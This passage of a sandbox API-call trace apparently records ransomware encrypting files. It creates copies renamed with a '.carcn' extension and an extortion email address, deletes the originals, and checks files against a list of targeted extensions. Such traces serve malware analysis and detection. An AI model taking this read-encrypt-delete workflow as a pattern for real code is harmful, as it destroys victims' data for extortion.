lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.570] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.570] SetEndOfFile (hFile=0x388) returned 1 [0161.570] CloseHandle (hObject=0x388) returned 1 [0161.572] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.572] SetEndOfFile (hFile=0x314) returned 1 [0161.573] CloseHandle (hObject=0x314) returned 1 [0161.573] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.573] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0161.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.573] lstrlenW (lpString=".doc") returned 4 [0161.573] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.573] lstrlenW (lpString=".docx") returned 5 [0161.573] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.573] lstrlenW (lpString=".pdf") returned 4 [0161.573] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.573] lstrlenW (lpString=".xls") returned 4 [0161.573] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.573] lstrlenW (lpString=".xlsx") returned 5 [0161.573] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.574] lstrlenW (lpString=".ppt") returned 4 [0161.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.574] lstrlenW (lpString=".zip") returned 4 [0161.574] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.574] lstrlenW (lpString=".rar") returned 4 [0161.574] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString=".bz2") returned 4 [0161.574] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString=".7z") returned 3 [0161.574] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.574] lstrlenW (lpString=".dbf") returned 4 [0161.574] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.574] lstrlenW (lpString=".1cd") returned 4 [0161.574] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.574] lstrlenW (lpString=".jpg") returned 4 [0161.574] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.574] lstrlenW (lpString=".doc") returned 4 [0161.574] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString=".docx") returned 5 [0161.574] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.574] lstrlenW (lpString=".pdf") returned 4 [0161.574] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString=".xls") returned 4 [0161.574] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.574] lstrlenW (lpString=".xlsx") returned 5 [0161.574] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.574] lstrlenW (lpString=".ppt") returned 4 [0161.574] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.575] lstrlenW (lpString=".zip") returned 4 [0161.575] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.575] lstrlenW (lpString=".rar") returned 4 [0161.575] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.575] lstrlenW (lpString=".bz2") returned 4 [0161.575] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.575] lstrlenW (lpString=".7z") returned 3 [0161.575] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.575] lstrlenW (lpString=".dbf") returned 4 [0161.575] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.575] lstrlenW (lpString=".1cd") returned 4 [0161.575] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0161.575] lstrlenW (lpString=".jpg") returned 4 [0161.575] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.575] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.575] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.575] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.575] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=76818) returned 1 [0161.576] CloseHandle (hObject=0x314) returned 1 [0161.576] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0161.576] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.576] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.576] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.576] GetLastError () returned 0x0 [0161.576] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0161.600] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0161.602] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.602] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.602] SetEndOfFile (hFile=0x388) returned 1 [0161.602] CloseHandle (hObject=0x388) returned 1 [0161.604] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.604] SetEndOfFile (hFile=0x314) returned 1 [0161.605] CloseHandle (hObject=0x314) returned 1 [0161.605] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.605] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0161.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.606] lstrlenW (lpString=".doc") returned 4 [0161.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString=".docx") returned 5 [0161.606] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.606] lstrlenW (lpString=".pdf") returned 4 [0161.606] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString=".xls") returned 4 [0161.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString=".xlsx") returned 5 [0161.606] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.606] lstrlenW (lpString=".ppt") returned 4 [0161.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.606] lstrlenW (lpString=".zip") returned 4 [0161.606] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.606] lstrlenW (lpString=".rar") returned 4 [0161.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString=".bz2") returned 4 [0161.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString=".7z") returned 3 [0161.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.606] lstrlenW (lpString=".dbf") returned 4 [0161.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.607] lstrlenW (lpString=".1cd") returned 4 [0161.607] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.607] lstrlenW (lpString=".jpg") returned 4 [0161.607] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.607] lstrlenW (lpString=".doc") returned 4 [0161.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString=".docx") returned 5 [0161.607] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.607] lstrlenW (lpString=".pdf") returned 4 [0161.607] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString=".xls") returned 4 [0161.607] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString=".xlsx") returned 5 [0161.607] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.607] lstrlenW (lpString=".ppt") returned 4 [0161.607] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.607] lstrlenW (lpString=".zip") returned 4 [0161.607] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.607] lstrlenW (lpString=".rar") returned 4 [0161.607] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString=".bz2") returned 4 [0161.607] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.607] lstrlenW (lpString=".7z") returned 3 [0161.607] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.607] lstrlenW (lpString=".dbf") returned 4 [0161.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.608] lstrlenW (lpString=".1cd") returned 4 [0161.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.608] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0161.608] lstrlenW (lpString=".jpg") returned 4 [0161.608] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.608] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0161.608] lstrlenW (lpString="LocalizedData.xml") returned 17 [0161.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.608] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=60684) returned 1 [0161.608] CloseHandle (hObject=0x314) returned 1 [0161.608] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0161.608] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.609] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.609] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.609] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.609] GetLastError () returned 0x0 [0161.609] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xed0c, lpOverlapped=0x0) returned 1 [0161.718] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xed10, lpOverlapped=0x0) returned 1 [0161.720] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.720] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0161.720] SetEndOfFile (hFile=0x388) returned 1 [0161.720] CloseHandle (hObject=0x388) returned 1 [0161.722] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.722] SetEndOfFile (hFile=0x314) returned 1 [0161.723] CloseHandle (hObject=0x314) returned 1 [0161.723] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.723] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0161.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.724] lstrlenW (lpString=".doc") returned 4 [0161.724] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString=".docx") returned 5 [0161.724] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.724] lstrlenW (lpString=".pdf") returned 4 [0161.724] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString=".xls") returned 4 [0161.724] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString=".xlsx") returned 5 [0161.724] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.724] lstrlenW (lpString=".ppt") returned 4 [0161.724] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.724] lstrlenW (lpString=".zip") returned 4 [0161.724] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.724] lstrlenW (lpString=".rar") returned 4 [0161.724] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString=".bz2") returned 4 [0161.724] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString=".7z") returned 3 [0161.724] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.724] lstrlenW (lpString=".dbf") returned 4 [0161.724] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.724] lstrlenW (lpString=".1cd") returned 4 [0161.724] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.724] lstrlenW (lpString=".jpg") returned 4 [0161.724] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.725] lstrlenW (lpString=".doc") returned 4 [0161.725] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString=".docx") returned 5 [0161.725] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0161.725] lstrlenW (lpString=".pdf") returned 4 [0161.725] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString=".xls") returned 4 [0161.725] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString=".xlsx") returned 5 [0161.725] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0161.725] lstrlenW (lpString=".ppt") returned 4 [0161.725] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.725] lstrlenW (lpString=".zip") returned 4 [0161.725] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0161.725] lstrlenW (lpString=".rar") returned 4 [0161.725] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString=".bz2") returned 4 [0161.725] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString=".7z") returned 3 [0161.725] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0161.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.725] lstrlenW (lpString=".dbf") returned 4 [0161.725] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.725] lstrlenW (lpString=".1cd") returned 4 [0161.725] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0161.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0161.725] lstrlenW (lpString=".jpg") returned 4 [0161.725] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0161.726] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0161.726] lstrlenW (lpString="eula.rtf") returned 8 [0161.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.726] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3069) returned 1 [0161.726] CloseHandle (hObject=0x314) returned 1 [0161.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0161.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0161.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0161.726] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.726] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.727] GetLastError () returned 0x0 [0161.727] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0161.905] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xc00, lpOverlapped=0x0) returned 1 [0161.906] ReadFile (in: hFile=0x314, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.906] WriteFile (in: hFile=0x388, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.906] SetEndOfFile (hFile=0x388) returned 1 [0161.906] CloseHandle (hObject=0x388) returned 1 [0161.907] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.907] SetEndOfFile (hFile=0x314) returned 1 [0161.908] CloseHandle (hObject=0x314) returned 1 [0161.908] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.908] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0161.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.908] lstrlenW (lpString=".doc") returned 4 [0161.908] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.908] lstrlenW (lpString=".docx") returned 5 [0161.908] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.908] lstrlenW (lpString=".pdf") returned 4 [0161.908] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.908] lstrlenW (lpString=".xls") returned 4 [0161.908] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.908] lstrlenW (lpString=".xlsx") returned 5 [0161.908] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.908] lstrlenW (lpString=".ppt") returned 4 [0161.909] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.909] lstrlenW (lpString=".zip") returned 4 [0161.909] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.909] lstrlenW (lpString=".rar") returned 4 [0161.909] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString=".bz2") returned 4 [0161.909] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString=".7z") returned 3 [0161.909] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.909] lstrlenW (lpString=".dbf") returned 4 [0161.909] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0161.909] lstrlenW 